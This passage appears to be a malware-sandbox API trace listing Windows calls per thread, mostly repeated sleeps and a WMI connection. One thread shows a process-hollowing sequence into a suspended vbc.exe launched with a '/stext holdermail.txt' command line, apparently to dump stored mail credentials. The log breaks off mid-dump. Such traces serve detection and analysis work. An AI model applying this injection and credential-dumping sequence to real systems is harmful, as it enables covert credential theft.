	[0239.053] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0239.256] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0239.460] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0239.679] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0239.882] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0240.083] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0240.286] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0240.502] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0240.703] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0240.912] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0241.113] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0241.334] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0241.563] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0241.752] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0241.963] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0242.158] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0242.383] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0242.580] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0242.785] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0242.985] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0243.188] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0243.457] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0243.660] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0243.861] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0244.065] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0244.296] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0244.521] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0244.795] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0245.069] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0245.281] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0245.481] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0245.712] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0245.902] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0246.167] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0246.398] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0246.620] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0246.823] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0247.025] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0247.228] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0247.431] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0247.641] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0247.840] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0248.040] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0248.257] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0248.448] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0248.648] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0248.850] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0249.053] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0249.287] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0249.490] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0249.697] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0249.895] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0250.103] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0250.308] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0250.520] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0250.744] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0250.941] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0251.152] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0251.357] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0251.549] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0251.786] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0251.986] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0252.210] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0252.443] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0252.641] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0252.856] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0253.048] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0253.250] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0253.457] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0253.660] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0253.858] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0254.063] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0254.271] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0254.466] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0254.684] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0254.881] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0255.083] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0255.278] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0255.501] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0255.699] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0255.901] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0256.106] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0256.308] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0256.510] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0256.722] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0256.916] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0257.118] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0257.351] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0257.539] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0257.753] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0257.945] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0258.148] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0258.351] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0258.557] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0258.756] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0258.959] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0259.162] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0259.365] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0259.567] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0259.771] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0260.001] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0260.197] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0260.394] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0260.597] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0260.800] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0261.003] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0261.221] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0261.436] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0261.631] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0261.829] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0262.081] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0262.601] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0262.797] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0262.999] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0263.202] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0263.405] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0263.616] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0263.811] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0264.013] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0264.216] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0264.427] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0264.622] SleepEx (dwMilliseconds=0xc8, bAlertable=1) 

Thread:
	id = 144
	os_tid = 0x8cc

	[0085.475] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0
	[0085.476] CoGetClassObject (in: rclsid=0x54200f4*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), dwClsContext=0x15, pvReserved=0x0, riid=0x7355d1fc*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x6b2e880 | out: ppv=0x6b2e880*=0x69bd890) returned 0x0
	[0085.476] WbemLocator:IUnknown:QueryInterface (in: This=0x69bd890, riid=0x73590ae0*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x6b2ea98 | out: ppvObject=0x6b2ea98*=0x0) returned 0x80004002
	[0085.476] WbemLocator:IClassFactory:CreateInstance (in: This=0x69bd890, pUnkOuter=0x0, riid=0x734ce814*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x6b2eaac | out: ppvObject=0x6b2eaac*=0x69bd8a8) returned 0x0
	[0085.476] WbemLocator:IUnknown:Release (This=0x69bd890) returned 0x0
	[0085.476] WbemLocator:IUnknown:QueryInterface (in: This=0x69bd8a8, riid=0x734ce814*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x6b2e6cc | out: ppvObject=0x6b2e6cc*=0x69bd8a8) returned 0x0
	[0085.476] WbemLocator:IUnknown:QueryInterface (in: This=0x69bd8a8, riid=0x735ffc00*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x6b2e688 | out: ppvObject=0x6b2e688*=0x0) returned 0x80004002
	[0085.476] WbemLocator:IUnknown:AddRef (This=0x69bd8a8) returned 0x3
	[0085.476] WbemLocator:IUnknown:QueryInterface (in: This=0x69bd8a8, riid=0x735ff90c*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x6b2dfe4 | out: ppvObject=0x6b2dfe4*=0x0) returned 0x80004002
	[0085.476] WbemLocator:IUnknown:QueryInterface (in: This=0x69bd8a8, riid=0x735ff860*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x6b2df94 | out: ppvObject=0x6b2df94*=0x0) returned 0x80004002
	[0085.476] WbemLocator:IUnknown:QueryInterface (in: This=0x69bd8a8, riid=0x735ec350*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x6b2dfa0 | out: ppvObject=0x6b2dfa0*=0x0) returned 0x80004002
	[0085.476] CoGetContextToken (in: pToken=0x6b2e000 | out: pToken=0x6b2e000) returned 0x0
	[0085.476] CoGetContextToken (in: pToken=0x6b2e408 | out: pToken=0x6b2e408) returned 0x0
	[0085.476] WbemLocator:IUnknown:QueryInterface (in: This=0x69bd8a8, riid=0x735ffb48*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x6b2e498 | out: ppvObject=0x6b2e498*=0x0) returned 0x80004002
	[0085.476] WbemLocator:IUnknown:Release (This=0x69bd8a8) returned 0x2
	[0085.476] WbemLocator:IUnknown:Release (This=0x69bd8a8) returned 0x1
	[0085.476] CoGetContextToken (in: pToken=0x6b2ea78 | out: pToken=0x6b2ea78) returned 0x0
	[0085.476] CoGetContextToken (in: pToken=0x6b2e9d8 | out: pToken=0x6b2e9d8) returned 0x0
	[0085.476] WbemLocator:IUnknown:QueryInterface (in: This=0x69bd8a8, riid=0x6b2eaa8*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppvObject=0x6b2eaa4 | out: ppvObject=0x6b2eaa4*=0x69bd8a8) returned 0x0
	[0085.476] WbemLocator:IUnknown:AddRef (This=0x69bd8a8) returned 0x3
	[0085.476] WbemLocator:IUnknown:Release (This=0x69bd8a8) returned 0x2
	[0085.476] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x69bd6f8, puCount=0x6b2ec3c | out: puCount=0x6b2ec3c*=0x2) returned 0x0
	[0085.477] WbemDefPath:IWbemPath:GetText (in: This=0x69bd6f8, lFlags=8, puBuffLength=0x6b2ec38*=0x0, pszText=0x0 | out: puBuffLength=0x6b2ec38*=0xf, pszText=0x0) returned 0x0
	[0085.477] WbemDefPath:IWbemPath:GetText (in: This=0x69bd6f8, lFlags=8, puBuffLength=0x6b2ec38*=0xf, pszText="00000000000000" | out: puBuffLength=0x6b2ec38*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0
	[0085.477] CoCreateInstance (in: rclsid=0x73be1284*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x73be12e4*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppv=0x6b2eb14 | out: ppv=0x6b2eb14*=0x69bd8b8) returned 0x0
	[0085.477] WbemLocator:IWbemLocator:ConnectServer (in: This=0x69bd8b8, strNetworkResource="\\\\.\\root\\cimv2", strUser=0x0, strPassword=0x0, strLocale="", lSecurityFlags=128, strAuthority="", pCtx=0x0, ppNamespace=0x6b2eba8 | out: ppNamespace=0x6b2eba8*=0x69bd9dc) returned 0x0
	[0085.482] IUnknown:QueryInterface (in: This=0x69bd9dc, riid=0x73be1104*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x6b2ea44 | out: ppvObject=0x6b2ea44*=0x72ceec) returned 0x0
	[0085.482] IClientSecurity:QueryBlanket (in: This=0x72ceec, pProxy=0x69bd9dc, pAuthnSvc=0x6b2ea94, pAuthzSvc=0x6b2ea90, pServerPrincName=0x6b2ea88, pAuthnLevel=0x6b2ea8c, pImpLevel=0x6b2ea7c, pAuthInfo=0x6b2ea80, pCapabilites=0x6b2ea84 | out: pAuthnSvc=0x6b2ea94*=0xa, pAuthzSvc=0x6b2ea90*=0x0, pServerPrincName=0x6b2ea88, pAuthnLevel=0x6b2ea8c*=0x6, pImpLevel=0x6b2ea7c*=0x2, pAuthInfo=0x6b2ea80, pCapabilites=0x6b2ea84*=0x1) returned 0x0
	[0085.482] IUnknown:Release (This=0x72ceec) returned 0x1
	[0085.482] IUnknown:QueryInterface (in: This=0x69bd9dc, riid=0x73be10f4*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x6b2ea38 | out: ppvObject=0x6b2ea38*=0x72cf0c) returned 0x0
	[0085.482] IUnknown:QueryInterface (in: This=0x69bd9dc, riid=0x73be1104*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x6b2ea34 | out: ppvObject=0x6b2ea34*=0x72ceec) returned 0x0
	[0085.482] IClientSecurity:SetBlanket (This=0x72ceec, pProxy=0x69bd9dc, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0
	[0085.483] IUnknown:Release (This=0x72ceec) returned 0x2
	[0085.483] IUnknown:Release (This=0x72cf0c) returned 0x1
	[0085.483] CoTaskMemFree (pv=0x54204a8) 
	[0085.483] WbemLocator:IUnknown:Release (This=0x69bd8b8) returned 0x0
	[0085.483] IUnknown:QueryInterface (in: This=0x69bd9dc, riid=0x734ce814*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x6b2e634 | out: ppvObject=0x6b2e634*=0x72cf0c) returned 0x0
	[0085.483] IUnknown:QueryInterface (in: This=0x72cf0c, riid=0x735ffc00*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x6b2e5f0 | out: ppvObject=0x6b2e5f0*=0x0) returned 0x80004002
	[0085.483] IUnknown:QueryInterface (in: This=0x72cf0c, riid=0x735ffe90*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x6b2e40c | out: ppvObject=0x6b2e40c*=0x0) returned 0x80004002
	[0085.483] IUnknown:AddRef (This=0x72cf0c) returned 0x3
	[0085.483] IUnknown:QueryInterface (in: This=0x72cf0c, riid=0x735ff90c*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x6b2df4c | out: ppvObject=0x6b2df4c*=0x0) returned 0x80004002
	[0085.483] IUnknown:QueryInterface (in: This=0x72cf0c, riid=0x735ff860*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x6b2defc | out: ppvObject=0x6b2defc*=0x0) returned 0x80004002
	[0085.484] IUnknown:QueryInterface (in: This=0x72cf0c, riid=0x735ec350*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x6b2df08 | out: ppvObject=0x6b2df08*=0x72ce6c) returned 0x0
	[0085.484] IMarshal:GetUnmarshalClass (in: This=0x72ce6c, riid=0x734ce814*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x6b2df10 | out: pCid=0x6b2df10*(Data1=0x17, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0
	[0085.484] IUnknown:Release (This=0x72ce6c) returned 0x3
	[0085.484] CoGetContextToken (in: pToken=0x6b2df68 | out: pToken=0x6b2df68) returned 0x0
	[0085.484] CoGetContextToken (in: pToken=0x6b2e370 | out: pToken=0x6b2e370) returned 0x0
	[0085.484] IUnknown:QueryInterface (in: This=0x72cf0c, riid=0x735ffb48*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x6b2e400 | out: ppvObject=0x6b2e400*=0x72cef4) returned 0x0
	[0085.484] IRpcOptions:Query (in: This=0x72cef4, pPrx=0x72cf0c, dwProperty=2, pdwValue=0x6b2e428 | out: pdwValue=0x6b2e428) returned 0x80004002
	[0085.484] IUnknown:Release (This=0x72cef4) returned 0x3
	[0085.484] IUnknown:Release (This=0x72cf0c) returned 0x2
	[0085.484] CoGetContextToken (in: pToken=0x6b2e948 | out: pToken=0x6b2e948) returned 0x0
	[0085.484] CoGetContextToken (in: pToken=0x6b2e8a8 | out: pToken=0x6b2e8a8) returned 0x0
	[0085.484] IUnknown:QueryInterface (in: This=0x72cf0c, riid=0x6b2e978*(Data1=0x9556dc99, Data2=0x828c, Data3=0x11cf, Data4=([0]=0xa3, [1]=0x7e, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x32, [6]=0x40, [7]=0xc7)), ppvObject=0x6b2e974 | out: ppvObject=0x6b2e974*=0x69bd9dc) returned 0x0
	[0085.484] IUnknown:AddRef (This=0x69bd9dc) returned 0x4
	[0085.484] IUnknown:Release (This=0x69bd9dc) returned 0x3
	[0085.484] IUnknown:Release (This=0x69bd9dc) returned 0x2
	[0085.484] SysStringLen (param_1=0x0) returned 0x0
	[0085.484] CoUninitialize () 

Thread:
	id = 145
	os_tid = 0x8e0


Thread:
	id = 157
	os_tid = 0x574

	[0088.340] CoInitializeEx (pvReserved=0x0, dwCoInit=0x2) returned 0x0
	[0088.368] CoTaskMemAlloc (cb=0x20c) returned 0x7490d0
	[0088.368] SHGetFolderPathW (in: hwnd=0x0, csidl=37, hToken=0x0, dwFlags=0x0, pszPath=0x7490d0 | out: pszPath="C:\\Windows\\system32") returned 0x0
	[0088.369] CoTaskMemFree (pv=0x7490d0) 
	[0088.369] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32", nBufferLength=0x105, lpBuffer=0x6bce8dc, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32", lpFilePart=0x0) returned 0x13
	[0088.498] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\vbc.exe /stext \"C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt\"", cchWideChar=114, lpMultiByteStr=0x6bce858, cbMultiByte=116, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\vbc.exe /stext \"C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt\"", lpUsedDefaultChar=0x0) returned 114
	[0088.498] CreateProcessA (in: lpApplicationName=0x0, lpCommandLine="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\vbc.exe /stext \"C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt\"", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x4, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x24ac3c4*(cb=0x0, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x24abfdc | out: lpCommandLine="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\vbc.exe /stext \"C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt\"", lpProcessInformation=0x24abfdc*(hProcess=0x618, hThread=0x614, dwProcessId=0x138, dwThreadId=0x9b8)) returned 1
	[0088.705] CoTaskMemFree (pv=0x0) 
	[0088.705] CoTaskMemFree (pv=0x0) 
	[0088.713] NtUnmapViewOfSection (ProcessHandle=0x618, BaseAddress=0x400000) returned 0x0
	[0088.719] VirtualAllocEx (hProcess=0x618, lpAddress=0x400000, dwSize=0x1b000, flAllocationType=0x3000, flProtect=0x40) returned 0x400000
	[0088.725] NtWriteVirtualMemory (in: ProcessHandle=0x618, BaseAddress=0x400000, Buffer=0x33e94b0*, NumberOfBytesToWrite=0x400, NumberOfBytesWritten=0x0 | out: Buffer=0x33e94b0*, NumberOfBytesWritten=0x0) returned 0x0
	[0088.726] NtWriteVirtualMemory (in: ProcessHandle=0x618, BaseAddress=0x401000, Buffer=0x33e98b0*, NumberOfBytesToWrite=0x10a00, NumberOfBytesWritten=0x0 | out: Buffer=0x33e98b0*, NumberOfBytesWritten=0x0) returned 0x0
	[0088.726] NtWriteVirtualMemory (in: ProcessHandle=0x618, BaseAddress=0x412000, Buffer=0x33fa2b0*, NumberOfBytesToWrite=0x3800, NumberOfBytesWritten=0x0 | out: Buffer=0x33fa2b0*, NumberOfBytesWritten=0x0) returned 0x0
	[0088.727] NtWriteVirtualMemory (in: ProcessHandle=0x618, BaseAddress=0x416000, Buffer=0x33fdab0*, NumberOfBytesToWrite=0xc00, NumberOfBytesWritten=0x0 | out: Buffer=0x33fdab0*, NumberOfBytesWritten=0x0) returned 0x0
	[0088.727] NtWriteVirtualMemory (in: ProcessHandle=0x618, BaseAddress=0x418000, Buffer=0x33fe6b0*, NumberOfBytesToWrite=0x3000, NumberOfBytesWritten=0x0 | out: Buffer=0x33fe6b0*, NumberOfBytesWritten=0x0) returned 0x0
	[0088.731] NtGetContextThread (in: ThreadHandle=0x614, Context=0x24abff8 | out: Context=0x24abff8*(ContextFlags=0x10007, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, FloatSave.ControlWord=0x0, FloatSave.StatusWord=0x0, FloatSave.TagWord=0x0, FloatSave.ErrorOffset=0x0, FloatSave.ErrorSelector=0x0, FloatSave.DataOffset=0x0, FloatSave.DataSelector=0x0, FloatSave.RegisterArea=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, 